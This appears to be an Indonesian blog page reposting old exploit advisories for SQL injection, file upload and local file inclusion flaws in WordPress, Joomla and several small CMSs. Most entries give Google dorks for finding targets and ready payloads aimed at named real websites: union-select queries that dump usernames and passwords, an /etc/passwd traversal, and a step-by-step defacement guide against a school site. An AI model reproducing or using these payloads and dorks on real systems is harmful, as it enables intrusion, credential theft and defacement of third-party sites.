Mydisha Note

Tampilkan postingan dengan label Exploit. Tampilkan semua postingan

WordPress SendIt plugin 1.5.9 Blind SQL Injection Vulnerability Inveet.id rwxr-xr-x 0 21.36 Exploit

Filename	WordPress SendIt plugin 1.5.9 Blind SQL Injection Vulnerability
Permission	rw-r--r--
Author	Inveet.id
Date and Time	21.36
Label	Exploit
Action

# Exploit Title: WordPress SendIt plugin <= 1.5.9 Blind SQL Injection Vulnerability


# Google Dork: inurl:"wp-content/plugins/sendit/submit.php"


# Date: 2011-08-25


# Author: evilsocket ( evilsocket [at] gmail [dot] com )


# Software Link: http://wordpress.org/extend/plugins/sendit/


# Version: 1.5.9 (tested with magic quotes OFF)

---------------
Vulnerable code
---------------
 
[ submit.php line 27 ]
 
$user_count = $wpdb->get_var("SELECT COUNT(*) FROM $table_email where email ='$_POST[email_add]' and id_lista = '$_POST[lista]';");
 
 
As you can see, $_POST[lista] parameter is nor validated neither escaped, so you can blind sql inject it using $user_count for the

boolean condition checking :
 
 
[ submit.php line 29 ]
 
if($user_count>0) :
  $errore_presente = "<div class=\"error\">".__('email address already present', 'sendit')."</div>";
  die($errore_presente);
 
---
[-] PoC
---

[-] POST:
 
email_add = some.random.regexp.valid.email@domain.ltd
lista = BLIND SQL INJECTION HERE
 
TO:
 
http://www.site.com/wp-content/plugins/sendit/submit.php

webdesQ sql injection vulnerability Inveet.id rwxr-xr-x 0 23.49 Exploit

Filename	webdesQ sql injection vulnerability
Permission	rw-r--r--
Author	Inveet.id
Date and Time	23.49
Label	Exploit
Action

#Exploit Title: webdesQ sql injection vulnerability
#Date:02/07/2011
#Author:XaDaL
#Software Link: http://www.webdesq.nl/
#Tested on: windows xp
#google dork: inurl: “powered by webdesQ”

#########################################################

[-] EXPLOIT

http://[localhost]/index.php?id=26&news_id=[SQLI]
http://[localhost]/index.php?id=26&news=[SQLI]

[-]EXAMPLE

http://[localhost]/index.php?id=62&news_id=2127 union select
1,2,3,4,5,6,7–

http://[localhost]/index.php?id=24&news=166 union select
1,version(),3,4,5,6,7–

##########################################################
Thank’s to: xr0b0t
,kaMtiez,1bliez,jundab,boebefa,ulow,ryanaby,kampret0,hmei7
#virgi,hakz,dr.CruZz,geni212,red robot ,a17z,rj-45,anharku,jos_ali_joe
#arianom,tukulesto,cimpli,contrex,t3ll0,
#all members magelangcyber team,indonesiancoder and indonesian hacker

Joomla Component XOBBIX [prodid] SQL Injection Vulnerability Inveet.id rwxr-xr-x 0 23.41 Exploit

Filename	Joomla Component XOBBIX [prodid] SQL Injection Vulnerability
Permission	rw-r--r--
Author	Inveet.id
Date and Time	23.41
Label	Exploit
Action

[-] Joomla Component XOBBIX [prodid] SQL Injection Vulnerability
Software : com_xobbix version 1.0.x
Vendor : http://www.php-shop-system.com/
Author : AntiSecurity
Home : http://antisecurity.org/

[-] Exploit

http://localhost/[path]/index.php?option=com_xobbix&catid=32&task=prod_desc&prodid=25

[-] PoC

http://stutterandsing.com/index.php?option=com_xobbix&catid=31&task=prod_desc&prodid=-21+union+select+1,2,3,4,group_concat(username,0x3a,password),6,7,8,database(),10,11,12,13,14,15,16+from+jos_users--

[-] Dork

inrul:"com_xobbix"

MyNews Arbitrary File Upload Vulnerability Inveet.id rwxr-xr-x 2 23.38 Exploit

Filename	MyNews Arbitrary File Upload Vulnerability
Permission	rw-r--r--
Author	Inveet.id
Date and Time	23.38
Label	Exploit
Action

[-] MyNews Arbitrary File Upload Vulnerability

Software : MyNews 1.6.5
Vendor : http://www.planetluc.com/
Dork : "Powered by MyNews"

[-] Exploit

FCKeditor/editor/filemanager/upload/php/config.php

// SECURITY: You must explicitelly enable this "uploader".

$Config['Enabled'] = true ;

http://localhost/[path]/FCKeditor/editor/filemanager/upload/test.html

in the "File Uploader" section, select "PHP"
browse file u want to upload and click "Send it to the Server"
if the file uploaded with no error, u will see the file path in "Uploaded File URL"

http://localhost/[path]/files/your_file.txt

[-] PoC

http://www.planetluc.com/en/demo/mynews/FCKeditor/editor/filemanager/upload/test.html

http://www.conveyorsystemsltd.co.uk/FCKeditor/editor/filemanager/upload/test.html

JoomTouch Joomla Component Local File Inclusion Vulnerability Inveet.id rwxr-xr-x 0 22.50 Exploit

Filename	JoomTouch Joomla Component Local File Inclusion Vulnerability
Permission	rw-r--r--
Author	Inveet.id
Date and Time	22.50
Label	Exploit
Action

[-] JoomTouch Joomla Component <= Local File Inclusion Vulnerability

Software : com_joomtouch ver 1.0.2
Vendor : http://www.joomtouch.com/
Dork : "com_joomtouch"
Author : mydisha

[-] Exploit

http://localhost/[path]/index.php?option=com_joomtouch&controller=[LFI]

[-] PoC

http://torah5.com/index.php?option=com_joomtouch&controller=../../../../../../../../../../../../../../../../../../../etc/passwd%00

http://www.shivamtranscon.com/index.php?option=com_joomtouch&controller=../../../../../../../../../../../../../../../../../../../etc/passwd%00

D-Forum 1.11 SQL Injection Vulnerability Inveet.id rwxr-xr-x 0 22.47 Exploit

Filename	D-Forum 1.11 SQL Injection Vulnerability
Permission	rw-r--r--
Author	Inveet.id
Date and Time	22.47
Label	Exploit
Action

[-] D-Forum 1.11 SQL Injection Vulnerability

Software : D-Forum version 1.11 [previous version affected too]
Vendor : http://www.adalis.fr/dforum
Author : NoGe

[-] Exploit

http://localhost/[path]/nav.php3?page=voirsujet&boardid=1&postid=[SQLi]

[-] Dork

"Powered by D-forum"
"nav.php3?page=voirsujet"

[-] PoC

http://www.enesm.com/forum/nav.php3?page=voirsujet&boardid=x&postid=-null+union+select+1,2,3,group_concat(0x3a,user_login,0x3a,user_pass,0x3a),5,6,7,8,9,10,11,12,13+from+dforum_users--

http://bmxverrieres.free.fr/dforum/nav.php3?page=voirsujet&boardid=x&postid=-null+union+select+1,2,3,group_concat(0x3a,user_login,0x3a,user_pass,0x3a),5,6,7,8,9,10,11,12,13+from+dforum_users--

CMS Balitbang 3.42 Fckeditor Arbitrary File Uploads Inveet.id rwxr-xr-x 1 03.50 Exploit

Filename	CMS Balitbang 3.42 Fckeditor Arbitrary File Uploads
Permission	rw-r--r--
Author	Inveet.id
Date and Time	03.50
Label	Exploit
Action

[-] CMS Balitbang 3.42 Fckeditor Arbitrary File Uploads

[-] Exploit :

http://public_html/dir/editor/filemanager/connectors/uploadtest.html
http://public_html/dir/editor/filemanager/connectors/test.html
http://public_html/dir/editor/filemanager/browser/default/browser.html

[-]Dork :

inurl:/html/siswa.php?
inurl:/html/alumni.php?
inurl:/html/guru.php?

Pertama , Kita Cari Target digoogle dengan memasukan dork diatas .

tersera kalian mau coba dork yg mana .

kemudian pilih salah satu site dari google tadi :

Example : http://www.smkmuh7gdl-malang.sch.id

Langkah selanjutnya , kita masukan Exploit di Target Tersebut :

Example : http://www.smkmuh7gdl-malang.sch.id/editor/filemanager/connectors/test.html

sekarang , setelah masuk
Ganti Connector ASP → PHP

Lalu , Upload File txt kamu ,
oh iya , file HTML gak bisa lo , hanya file TXT yang bisa Warning

setelah upload , dimana tempatnya file kita tadi ? Bingung

itu mudah , langsung saja masukan

http://public_html/userfiles/file/file-deface.txt 

http://public_html/userfiles/file-deface.txt 

dan ini hasil saya tadi

http://www.smkmuh7gdl-malang.sch.id/userfiles/file/test.txt

sekian copasan saya , silakan berexplorasi sendiri ya Perimaho

Thanks : Oka1302

pages.php?action=menu&id=[sqli] SQL Injection Vulnerability Inveet.id rwxr-xr-x 0 23.53 Exploit

Filename	pages.php?action=menu&id=[sqli] SQL Injection Vulnerability
Permission	rw-r--r--
Author	Inveet.id
Date and Time	23.53
Label	Exploit
Action

########################################
# pages.php?action=menu&id= SQL Injection Vulnerability
#
#author : qibo212
#date : 01 april 2011
#bug : sql injection
#dork : inurl:pages.php?action=menu
########################################

example:

http://site.com/path/pages.php?action=menu[sql injection]

demo site :

http://www.bviinvestmentclub.com/pages.php?action=menu&id=40'

PhpFood CMS (restaurant.php?id=) SQL Injection Vulnerability Inveet.id rwxr-xr-x 0 21.17 Exploit

Filename	PhpFood CMS (restaurant.php?id=) SQL Injection Vulnerability
Permission	rw-r--r--
Author	Inveet.id
Date and Time	21.17
Label	Exploit
Action

###################################################################################
## PhpFood CMS (restaurant.php?id=) SQL Injection Vulnerability ##
## Author : kaMtiEz (kamtiez@exploit-id.com) ##
## Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id ##
## Date : 3 July, 2011 ##
###################################################################################

[ Software Information ]

[+] Vendor : http://www.phpfood.com/
[+] Download : http://www.phpfood.com/download.html
[+] version : 2.00 or lower maybe also affected
[+] Vulnerability : SQL INJECTION
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA

####################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/restaurant.php?id=[num]

[ XpL ]

http://127.0.0.1/[kaMtiEz]/restaurant.php?id=[num] and(select 1 from(select count(*),concat((select (select @@version) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1

[ DEMO ]

http://www.phpfood.com/demo/restaurant.php?id=4 and(select 1 from(select count(*),concat((select (select @@version) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1

[ Thx TO ]

[+] INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - KILL-9
[+] Tukulesto,arianom,el-farhatz,Jundab,Ibl13Z,Ulow,s1do3L,Boebefa,Hmei7,RyanAby,AlbertWired,GonzHack
[+] Lagripe-Dz,KedAns-Dz,By_aGreSiF,t0r3x,Mboys,Contrex,Gh4mb4S,jos_ali_joe,k4l0ng666,n4sss,r3m1ck,k4mpr3t0
[+] yur4kh4,xr0b0t,kido,trycyber,n4ck0,dan teman2 semuanya yang saya tak bisa sebutkan satu2 :D

Sumber : http://blog.defacerz.com/2011/07/phpfood-cms-restaurant.html